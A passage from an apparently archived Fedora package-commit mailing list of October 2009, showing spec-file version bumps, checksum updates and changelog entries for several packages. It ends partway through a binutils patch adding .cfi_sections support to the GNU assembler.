--- .cvsignore	7 Dec 2007 15:43:04 -0000	1.8
+++ .cvsignore	15 Oct 2009 14:27:10 -0000	1.9
@@ -3,3 +3,5 @@ libgpg-error-1.5.tar.bz2
 libgpg-error-1.5.tar.bz2.sig
 libgpg-error-1.6.tar.bz2
 libgpg-error-1.6.tar.bz2.sig
+libgpg-error-1.7.tar.bz2
+libgpg-error-1.7.tar.bz2.sig


Index: libgpg-error.spec
===================================================================
RCS file: /cvs/extras/rpms/libgpg-error/devel/libgpg-error.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libgpg-error.spec	25 Jul 2009 05:48:54 -0000	1.26
+++ libgpg-error.spec	15 Oct 2009 14:27:10 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: Library for error values used by GnuPG components
 Name: libgpg-error
-Version: 1.6
-Release: 4
+Version: 1.7
+Release: 1
 URL: ftp://ftp.gnupg.org/gcrypt/libgpg-error/
 Source0: ftp://ftp.gnupg.org/gcrypt/libgpg-error/%{name}-%{version}.tar.bz2
 Source1: ftp://ftp.gnupg.org/gcrypt/libgpg-error/%{name}-%{version}.tar.bz2.sig
@@ -98,6 +98,9 @@ rm -fr $RPM_BUILD_ROOT
 %{_datadir}/aclocal/gpg-error.m4
 
 %changelog
+* Thu Oct 15 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-1
+- long-overdue update to 1.7
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libgpg-error/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	7 Dec 2007 15:43:04 -0000	1.8
+++ sources	15 Oct 2009 14:27:10 -0000	1.9
@@ -1,2 +1,2 @@
-f3e9870e213518b407a959f8d29cd554  libgpg-error-1.6.tar.bz2
-2a10c6d1819dd2810e17131dd4cc8ae9  libgpg-error-1.6.tar.bz2.sig
+62c0d09d1e76c5b6da8fff92314c4665  libgpg-error-1.7.tar.bz2
+7f4274383ce6c493eaa49694dc8c425b  libgpg-error-1.7.tar.bz2.sig



From dwalsh at fedoraproject.org  Thu Oct 15 14:30:59 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 14:30:59 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/devel .cvsignore, 1.43,
	1.44 setroubleshoot-plugins.spec, 1.49, 1.50 sources, 1.44, 1.45
Message-ID: <20091015143059.60C8911C0265@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18378

Modified Files:
	.cvsignore setroubleshoot-plugins.spec sources 
Log Message:
* Tue Oct 15 2009  <dwalsh at redhat.com> - 2.1.28-1
- Update-po



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/.cvsignore,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- .cvsignore	13 Oct 2009 21:20:31 -0000	1.43
+++ .cvsignore	15 Oct 2009 14:30:58 -0000	1.44
@@ -33,3 +33,4 @@ setroubleshoot-plugins-2.1.24.tar.gz
 setroubleshoot-plugins-2.1.25.tar.gz
 setroubleshoot-plugins-2.1.26.tar.gz
 setroubleshoot-plugins-2.1.27.tar.gz
+setroubleshoot-plugins-2.1.28.tar.gz


Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/setroubleshoot-plugins.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- setroubleshoot-plugins.spec	13 Oct 2009 21:20:31 -0000	1.49
+++ setroubleshoot-plugins.spec	15 Oct 2009 14:30:58 -0000	1.50
@@ -1,6 +1,6 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.27
+Version: 2.1.28
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -52,6 +52,9 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Tue Oct 15 2009  <dwalsh at redhat.com> - 2.1.28-1
+- Update-po
+
 * Tue Oct 13 2009  <dwalsh at redhat.com> - 2.1.27-1
 - Add vbetool plugin
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/sources,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- sources	13 Oct 2009 21:20:31 -0000	1.44
+++ sources	15 Oct 2009 14:30:58 -0000	1.45
@@ -1 +1 @@
-3eaa80b0e80efa9454e30d89b330bb66  setroubleshoot-plugins-2.1.27.tar.gz
+14607bd11bba3ed2a78d9465d3770a00  setroubleshoot-plugins-2.1.28.tar.gz



From dwalsh at fedoraproject.org  Thu Oct 15 14:31:42 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 14:31:42 +0000 (UTC)
Subject: rpms/setroubleshoot/F-12 setroubleshoot.spec, 1.168, 1.169 sources, 
	1.141, 1.142
Message-ID: <20091015143143.07CF311C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18745

Modified Files:
	setroubleshoot.spec sources 
Log Message:
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.40-1
- Fix up browser button handling when there are 0, 1 or more alerts



Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/setroubleshoot.spec,v
retrieving revision 1.168
retrieving revision 1.169
diff -u -p -r1.168 -r1.169
--- setroubleshoot.spec	7 Oct 2009 21:13:55 -0000	1.168
+++ setroubleshoot.spec	15 Oct 2009 14:31:42 -0000	1.169
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.37
+Version: 2.2.40
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,16 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.40-1
+- Fix up browser button handling when there are 0, 1 or more alerts
+
+* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.39-1
+- Catch additional bugzilla exception
+
+* Thu Oct 8 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.38-1
+- Show that the application is starting.
+- Fix ignore sealert button
+
 * Wed Oct 7 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.37-1
 - Don't throw up an error box if yum cache is not setup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/F-12/sources,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- sources	7 Oct 2009 21:13:56 -0000	1.141
+++ sources	15 Oct 2009 14:31:42 -0000	1.142
@@ -1 +1 @@
-b439814afe8ed4ff775cfea0b897834a  setroubleshoot-2.2.37.tar.gz
+f91cdbe0d7bf14b27bf5c6b0f599b3b7  setroubleshoot-2.2.40.tar.gz



From dwalsh at fedoraproject.org  Thu Oct 15 14:33:07 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 14:33:07 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/F-12 .cvsignore, 1.38,
	1.39 setroubleshoot-plugins.spec, 1.45, 1.46 sources, 1.41, 1.42
Message-ID: <20091015143307.3ED0D11C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19367

Modified Files:
	.cvsignore setroubleshoot-plugins.spec sources 
Log Message:
* Tue Oct 15 2009  <dwalsh at redhat.com> - 2.1.28-1
- Update-po



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	23 Sep 2009 01:14:21 -0000	1.38
+++ .cvsignore	15 Oct 2009 14:33:07 -0000	1.39
@@ -28,3 +28,9 @@ setroubleshoot-plugins-2.1.19.tar.gz
 setroubleshoot-plugins-2.1.20.tar.gz
 setroubleshoot-plugins-2.1.21.tar.gz
 setroubleshoot-plugins-2.1.22.tar.gz
+setroubleshoot-plugins-2.1.23.tar.gz
+setroubleshoot-plugins-2.1.24.tar.gz
+setroubleshoot-plugins-2.1.25.tar.gz
+setroubleshoot-plugins-2.1.26.tar.gz
+setroubleshoot-plugins-2.1.27.tar.gz
+setroubleshoot-plugins-2.1.28.tar.gz


Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/setroubleshoot-plugins.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- setroubleshoot-plugins.spec	7 Oct 2009 21:50:34 -0000	1.45
+++ setroubleshoot-plugins.spec	15 Oct 2009 14:33:07 -0000	1.46
@@ -1,6 +1,6 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.26
+Version: 2.1.28
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -52,6 +52,12 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Tue Oct 15 2009  <dwalsh at redhat.com> - 2.1.28-1
+- Update-po
+
+* Tue Oct 13 2009  <dwalsh at redhat.com> - 2.1.27-1
+- Add vbetool plugin
+
 * Thu Oct 7 2009  <dwalsh at redhat.com> - 2.1.26-1
 - Add wine plugin
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/F-12/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	7 Oct 2009 21:50:34 -0000	1.41
+++ sources	15 Oct 2009 14:33:07 -0000	1.42
@@ -1 +1 @@
-34c72465619aa3a6ffa8c2e90936f5b2  setroubleshoot-plugins-2.1.26.tar.gz
+14607bd11bba3ed2a78d9465d3770a00  setroubleshoot-plugins-2.1.28.tar.gz



From mclasen at fedoraproject.org  Thu Oct 15 14:36:57 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 15 Oct 2009 14:36:57 +0000 (UTC)
Subject: rpms/webkitgtk/F-12 .cvsignore, 1.11, 1.12 sources, 1.11,
	1.12 webkitgtk.spec, 1.24, 1.25
Message-ID: <20091015143657.2B64611C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/webkitgtk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20960

Modified Files:
	.cvsignore sources webkitgtk.spec 
Log Message:
1.1.15.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webkitgtk/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	24 Sep 2009 03:20:20 -0000	1.11
+++ .cvsignore	15 Oct 2009 14:36:56 -0000	1.12
@@ -1 +1 @@
-webkit-1.1.15.1.tar.gz
+webkit-1.1.15.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webkitgtk/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	24 Sep 2009 03:20:20 -0000	1.11
+++ sources	15 Oct 2009 14:36:56 -0000	1.12
@@ -1 +1 @@
-e6eb43bb4f75b4a2a09aec95e2f43e91  webkit-1.1.15.1.tar.gz
+5e086796b1016d7c9f5c6d2fe6ad81f2  webkit-1.1.15.2.tar.gz


Index: webkitgtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/webkitgtk/F-12/webkitgtk.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- webkitgtk.spec	25 Sep 2009 06:01:36 -0000	1.24
+++ webkitgtk.spec	15 Oct 2009 14:36:56 -0000	1.25
@@ -34,8 +34,8 @@
 %bcond_with 	wml
 
 Name:		webkitgtk
-Version:	1.1.15.1
-Release:	3%{?dist}
+Version:	1.1.15.2
+Release:	1%{?dist}
 Summary:	GTK+ Web content engine library
 
 Provides:	WebKit-gtk = %{version}-%{release}
@@ -197,6 +197,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.com> - 1.1.15.2-1
+- Update to 1.1.15.2, which has multiple crash and other fixes
+- See https://lists.webkit.org/pipermail/webkit-gtk/2009-October/000040.html
+
 * Thu Sep 24 2009 Peter Gordon <peter at thecodergeek.com> - 1.1.15.1-3
 - Forcibly disable JIT until we can properly resolve the execmem-caused
   segfaulting. (Temporary workaround until bug #516057 can be properly fixed.)



From dwayne at fedoraproject.org  Thu Oct 15 14:38:07 2009
From: dwayne at fedoraproject.org (dwayne)
Date: Thu, 15 Oct 2009 14:38:07 +0000 (UTC)
Subject: rpms/translate-toolkit/F-11 .cvsignore, 1.18, 1.19 sources, 1.19,
	1.20 translate-toolkit.spec, 1.34,
	1.35 translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch, 1.1, NONE
Message-ID: <20091015143807.5D4C711C00DB@cvs1.fedora.phx.redhat.com>

Author: dwayne

Update of /cvs/pkgs/rpms/translate-toolkit/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21605

Modified Files:
	.cvsignore sources translate-toolkit.spec 
Removed Files:
	translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch 
Log Message:
* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
- Update to 1.4.1
   - Better support for printf (including numbered) variables (bug 1118)
   - Fixes for the upcoming Pootle, including combined searches (bug 1036)
   - subtle bug in tmserver handling of the percent sign (%) (bug 1101)
   - obsolete messages seen as translatable (bug 1114)
- Drop patch bug#1114 - obsolete messages should not be translatable



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-11/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	5 Aug 2009 06:16:50 -0000	1.18
+++ .cvsignore	15 Oct 2009 14:38:07 -0000	1.19
@@ -1 +1 @@
-translate-toolkit-1.4.0.tar.bz2
+translate-toolkit-1.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-11/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	5 Aug 2009 06:16:50 -0000	1.19
+++ sources	15 Oct 2009 14:38:07 -0000	1.20
@@ -1 +1 @@
-e588e04d6a71975f62dc96828824a510  translate-toolkit-1.4.0.tar.bz2
+820158835f7f8953c4a8b807f7b22f3c  translate-toolkit-1.4.1.tar.bz2


Index: translate-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/F-11/translate-toolkit.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- translate-toolkit.spec	24 Aug 2009 15:59:09 -0000	1.34
+++ translate-toolkit.spec	15 Oct 2009 14:38:07 -0000	1.35
@@ -1,19 +1,17 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           translate-toolkit
-Version:        1.4.0
-Release:        2%{?dist}
+Version:        1.4.1
+Release:        1%{?dist}
 Summary:        Tools to assist with translation and software localization
 
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://translate.sourceforge.net/wiki/toolkit/index
-Source0:        http://downloads.sourceforge.net/project/translate/Translate%20Toolkit/1.4.0/%{name}-%{version}.tar.bz2
+Source0:        http://downloads.sourceforge.net/project/translate/Translate%20Toolkit/%{version}/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch0:         translate-toolkit-1.2.1-stoplist.patch
-# Bug 1114
-Patch1:         translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch
 
 BuildArch:      noarch
 BuildRequires:  python-devel
@@ -70,7 +68,6 @@ toolkit or to use the libraries in other
 %prep
 %setup -q
 %patch0 -p1
-%patch1 -p2
 
 
 %build
@@ -125,6 +122,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
+- Update to 1.4.1
+   - Better support for printf (including numbered) variables (bug 1118)
+   - Fixes for the upcoming Pootle, including combined searches (bug 1036)
+   - subtle bug in tmserver handling of the percent sign (%) (bug 1101)
+   - obsolete messages seen as translatable (bug 1114)
+- Drop patch bug#1114 - obsolete messages should not be translatable
+
 * Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.0-2
 - Upstream bug #1114 - obsolete messages should not be translatable
 


--- translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch DELETED ---



From nalin at fedoraproject.org  Thu Oct 15 14:47:11 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Thu, 15 Oct 2009 14:47:11 +0000 (UTC)
Subject: rpms/libgpg-error/devel libgpg-error.spec,1.27,1.28
Message-ID: <20091015144711.981ED11C00DB@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/libgpg-error/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24983

Modified Files:
	libgpg-error.spec 
Log Message:
add a disttag


Index: libgpg-error.spec
===================================================================
RCS file: /cvs/extras/rpms/libgpg-error/devel/libgpg-error.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- libgpg-error.spec	15 Oct 2009 14:27:10 -0000	1.27
+++ libgpg-error.spec	15 Oct 2009 14:47:11 -0000	1.28
@@ -1,7 +1,7 @@
 Summary: Library for error values used by GnuPG components
 Name: libgpg-error
 Version: 1.7
-Release: 1
+Release: 1%{?dist}
 URL: ftp://ftp.gnupg.org/gcrypt/libgpg-error/
 Source0: ftp://ftp.gnupg.org/gcrypt/libgpg-error/%{name}-%{version}.tar.bz2
 Source1: ftp://ftp.gnupg.org/gcrypt/libgpg-error/%{name}-%{version}.tar.bz2.sig
@@ -100,6 +100,7 @@ rm -fr $RPM_BUILD_ROOT
 %changelog
 * Thu Oct 15 2009 Nalin Dahyabhai <nalin at redhat.com> - 1.7-1
 - long-overdue update to 1.7
+- add a disttag
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From jakub at fedoraproject.org  Thu Oct 15 14:48:13 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Thu, 15 Oct 2009 14:48:13 +0000 (UTC)
Subject: rpms/binutils/F-12 binutils-2.19.51.0.14-cfi-sections.patch, NONE, 
	1.1 binutils-2.19.51.0.14-cxxfilt-java-doc.patch, NONE,
	1.1 binutils.spec, 1.174, 1.175
Message-ID: <20091015144813.6D04111C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/binutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25288

Modified Files:
	binutils.spec 
Added Files:
	binutils-2.19.51.0.14-cfi-sections.patch 
	binutils-2.19.51.0.14-cxxfilt-java-doc.patch 
Log Message:
2.19.51.0.14-33.fc12

binutils-2.19.51.0.14-cfi-sections.patch:
 config/tc-ppc.h |    6 +
 doc/as.texinfo  |    9 +
 dw2gencfi.c     |  312 +++++++++++++++++++++++++++++++++++++++++++++-----------
 3 files changed, 270 insertions(+), 57 deletions(-)

--- NEW FILE binutils-2.19.51.0.14-cfi-sections.patch ---
2009-10-02  Jakub Jelinek  <jakub at redhat.com>

	* dw2gencfi.c: Include dwarf2dbg.h.
	(DWARF2_FORMAT): Define if not defined.
	(dot_cfi_sections): New function.
	(cfi_pseudo_table): Handle .cfi_sections.
	(CFI_EMIT_eh_frame, CFI_EMIT_debug_frame): Define.
	(cfi_sections): New variable.
	(output_cie, output_fde, select_cie_for_fde): Add eh_frame
	argument, add supporting for outputting .debug_frame
	section.
	(cfi_change_reg_numbers): New function or macro.
	(cfi_finish): Only emit .eh_frame if
	cfi_sections & CFI_EMIT_eh_frame.  Emit .debug_frame if
	cfi_sections & CFI_EMIT_debug_frame.
	* config/tc-ppc.h (md_reg_eh_frame_to_debug_frame): Define.
	* doc/as.texinfo (CFI directives): Document .cfi_sections.

--- gas/dw2gencfi.c	11 Sep 2009 15:27:33 -0000	1.43
+++ gas/dw2gencfi.c	2 Oct 2009 11:33:49 -0000	1.44
@@ -23,6 +23,7 @@
 #include "as.h"
 #include "dw2gencfi.h"
 #include "subsegs.h"
+#include "dwarf2dbg.h"
 
 #ifdef TARGET_USE_CFIPOP
 
@@ -59,6 +60,10 @@
 # define tc_cfi_frame_initial_instructions() ((void)0)
 #endif
 
+#ifndef DWARF2_FORMAT
+# define DWARF2_FORMAT(SEC) dwarf2_format_32bit
+#endif
+
 #ifndef DWARF2_ADDR_SIZE
 # define DWARF2_ADDR_SIZE(bfd) (bfd_arch_bits_per_address (bfd) / 8)
 #endif
@@ -386,6 +391,7 @@ cfi_add_CFA_restore_state (void)
 
 static void dot_cfi (int);
 static void dot_cfi_escape (int);
+static void dot_cfi_sections (int);
 static void dot_cfi_startproc (int);
 static void dot_cfi_endproc (int);
 static void dot_cfi_personality (int);
@@ -402,6 +408,7 @@ static void dot_cfi_val_encoded_addr (in
 
 const pseudo_typeS cfi_pseudo_table[] =
   {
+    { "cfi_sections", dot_cfi_sections, 0 },
     { "cfi_startproc", dot_cfi_startproc, 0 },
     { "cfi_endproc", dot_cfi_endproc, 0 },
     { "cfi_def_cfa", dot_cfi, DW_CFA_def_cfa },
@@ -864,6 +871,56 @@ dot_cfi_val_encoded_addr (int ignored AT
   demand_empty_rest_of_line ();
 }
 
+/* By default emit .eh_frame only, not .debug_frame.  */
+#define CFI_EMIT_eh_frame	(1 << 0)
+#define CFI_EMIT_debug_frame	(1 << 1)
+static int cfi_sections = CFI_EMIT_eh_frame;
+
+static void
+dot_cfi_sections (int ignored ATTRIBUTE_UNUSED)
+{
+  int sections = 0;
+
+  SKIP_WHITESPACE ();
+  if (is_name_beginner (*input_line_pointer))
+    while (1)
+      {
+	char *name, c;
+
+	name = input_line_pointer;
+	c = get_symbol_end ();
+
+	if (strcmp (name, ".eh_frame") == 0)
+	  sections |= CFI_EMIT_eh_frame;
+	else if (strcmp (name, ".debug_frame") == 0)
+	  sections |= CFI_EMIT_debug_frame;
+	else
+	  {
+	    *input_line_pointer = c;
+	    input_line_pointer = name;
+	    break;
+	  }
+
+	*input_line_pointer = c;
+	SKIP_WHITESPACE ();
+	if (*input_line_pointer == ',')
+	  {
+	    name = input_line_pointer++;
+	    SKIP_WHITESPACE ();
+	    if (!is_name_beginner (*input_line_pointer))
+	      {
+		input_line_pointer = name;
+		break;
+	      }
+	  }
+	else if (is_name_beginner (*input_line_pointer))
+	  break;
+      }
+
+  demand_empty_rest_of_line ();
+  cfi_sections = sections;
+}
+
 static void
 dot_cfi_startproc (int ignored ATTRIBUTE_UNUSED)
 {
@@ -1194,13 +1251,14 @@ encoding_size (unsigned char encoding)
 }
 
 static void
-output_cie (struct cie_entry *cie)
+output_cie (struct cie_entry *cie, bfd_boolean eh_frame, int align)
 {
   symbolS *after_size_address, *end_address;
   expressionS exp;
   struct cfi_insn_data *i;
   offsetT augmentation_size;
   int enc;
+  enum dwarf2_format fmt = DWARF2_FORMAT (now_seg);
 
   cie->start_address = symbol_temp_new_now ();
   after_size_address = symbol_temp_make ();
@@ -1211,18 +1269,35 @@ output_cie (struct cie_entry *cie)
   exp.X_op_symbol = after_size_address;
   exp.X_add_number = 0;
 
-  emit_expr (&exp, 4);				/* Length.  */
+  if (eh_frame || fmt == dwarf2_format_32bit)
+    emit_expr (&exp, 4);			/* Length.  */
+  else
+    {
+      if (fmt == dwarf2_format_64bit)
+	out_four (-1);
+      emit_expr (&exp, 8);			/* Length.  */
+    }
   symbol_set_value_now (after_size_address);
-  out_four (0);					/* CIE id.  */
+  if (eh_frame)
+    out_four (0);				/* CIE id.  */
+  else
+    {
+      out_four (-1);				/* CIE id.  */
+      if (fmt != dwarf2_format_32bit)
+	out_four (-1);
+    }
   out_one (DW_CIE_VERSION);			/* Version.  */
-  out_one ('z');				/* Augmentation.  */
-  if (cie->per_encoding != DW_EH_PE_omit)
-    out_one ('P');
-  if (cie->lsda_encoding != DW_EH_PE_omit)
-    out_one ('L');
-  out_one ('R');
-  if (cie->signal_frame)
-    out_one ('S');
+  if (eh_frame)
+    {
+      out_one ('z');				/* Augmentation.  */
+      if (cie->per_encoding != DW_EH_PE_omit)
+	out_one ('P');
+      if (cie->lsda_encoding != DW_EH_PE_omit)
+	out_one ('L');
+      out_one ('R');
+      if (cie->signal_frame)
+	out_one ('S');
+    }
   out_one (0);
   out_uleb128 (DWARF2_LINE_MIN_INSN_LENGTH);	/* Code alignment.  */
   out_sleb128 (DWARF2_CIE_DATA_ALIGNMENT);	/* Data alignment.  */
@@ -1230,10 +1305,13 @@ output_cie (struct cie_entry *cie)
     out_one (cie->return_column);
   else
     out_uleb128 (cie->return_column);
-  augmentation_size = 1 + (cie->lsda_encoding != DW_EH_PE_omit);
-  if (cie->per_encoding != DW_EH_PE_omit)
-    augmentation_size += 1 + encoding_size (cie->per_encoding);
-  out_uleb128 (augmentation_size);		/* Augmentation size.  */
+  if (eh_frame)
+    {
+      augmentation_size = 1 + (cie->lsda_encoding != DW_EH_PE_omit);
+      if (cie->per_encoding != DW_EH_PE_omit)
+	augmentation_size += 1 + encoding_size (cie->per_encoding);
+      out_uleb128 (augmentation_size);		/* Augmentation size.  */
+    }
   if (cie->per_encoding != DW_EH_PE_omit)
     {
       offsetT size = encoding_size (cie->per_encoding);
@@ -1274,23 +1352,28 @@ output_cie (struct cie_entry *cie)
 #if CFI_DIFF_EXPR_OK || defined tc_cfi_emit_pcrel_expr
   enc |= DW_EH_PE_pcrel;
 #endif
-  out_one (enc);
+  if (eh_frame)
+    out_one (enc);
 
   if (cie->first)
     for (i = cie->first; i != cie->last; i = i->next)
       output_cfi_insn (i);
 
-  frag_align (2, DW_CFA_nop, 0);
+  frag_align (align, DW_CFA_nop, 0);
   symbol_set_value_now (end_address);
 }
 
 static void
 output_fde (struct fde_entry *fde, struct cie_entry *cie,
-	    struct cfi_insn_data *first, int align)
+	    bfd_boolean eh_frame, struct cfi_insn_data *first,
+	    int align)
 {
   symbolS *after_size_address, *end_address;
   expressionS exp;
   offsetT augmentation_size;
+  enum dwarf2_format fmt = DWARF2_FORMAT (now_seg);
+  int offset_size;
+  int addr_size;
 
   after_size_address = symbol_temp_make ();
   end_address = symbol_temp_make ();
@@ -1299,35 +1382,63 @@ output_fde (struct fde_entry *fde, struc
   exp.X_add_symbol = end_address;
   exp.X_op_symbol = after_size_address;
   exp.X_add_number = 0;
-  emit_expr (&exp, 4);				/* Length.  */
+  if (eh_frame || fmt == dwarf2_format_32bit)
+    offset_size = 4;
+  else
+    {
+      if (fmt == dwarf2_format_64bit)
+	out_four (-1);
+      offset_size = 8;
+    }
+  emit_expr (&exp, offset_size);		/* Length.  */
   symbol_set_value_now (after_size_address);
 
-  exp.X_add_symbol = after_size_address;
-  exp.X_op_symbol = cie->start_address;
-  emit_expr (&exp, 4);				/* CIE offset.  */
+  if (eh_frame)
+    {
+      exp.X_add_symbol = after_size_address;
+      exp.X_op_symbol = cie->start_address;
+    }
+  else
+    {
+      exp.X_op = O_symbol;
+      exp.X_add_symbol = cie->start_address;
+      exp.X_op_symbol = NULL;
+    }
+  emit_expr (&exp, offset_size);		/* CIE offset.  */
 
+  if (eh_frame)
+    {
 #if CFI_DIFF_EXPR_OK
-  exp.X_add_symbol = fde->start_address;
-  exp.X_op_symbol = symbol_temp_new_now ();
-  emit_expr (&exp, DWARF2_FDE_RELOC_SIZE);	/* Code offset.  */
+      exp.X_add_symbol = fde->start_address;
+      exp.X_op_symbol = symbol_temp_new_now ();
+      emit_expr (&exp, DWARF2_FDE_RELOC_SIZE);	/* Code offset.  */
 #else
-  exp.X_op = O_symbol;
-  exp.X_add_symbol = fde->start_address;
-  exp.X_op_symbol = NULL;
+      exp.X_op = O_symbol;
+      exp.X_add_symbol = fde->start_address;
+      exp.X_op_symbol = NULL;
 #ifdef tc_cfi_emit_pcrel_expr
-  tc_cfi_emit_pcrel_expr (&exp, DWARF2_FDE_RELOC_SIZE);	 /* Code offset.  */
+      tc_cfi_emit_pcrel_expr (&exp, DWARF2_FDE_RELOC_SIZE);	 /* Code offset.  */
 #else
-  emit_expr (&exp, DWARF2_FDE_RELOC_SIZE);	/* Code offset.  */
+      emit_expr (&exp, DWARF2_FDE_RELOC_SIZE);	/* Code offset.  */
 #endif
-  exp.X_op = O_subtract;
 #endif
+      addr_size = DWARF2_FDE_RELOC_SIZE;
+    }
+  else
+    {
+      exp.X_add_symbol = fde->start_address;
+      addr_size = DWARF2_ADDR_SIZE (stdoutput);
+      emit_expr (&exp, addr_size);
+    }
 
+  exp.X_op = O_subtract;
   exp.X_add_symbol = fde->end_address;
   exp.X_op_symbol = fde->start_address;		/* Code length.  */
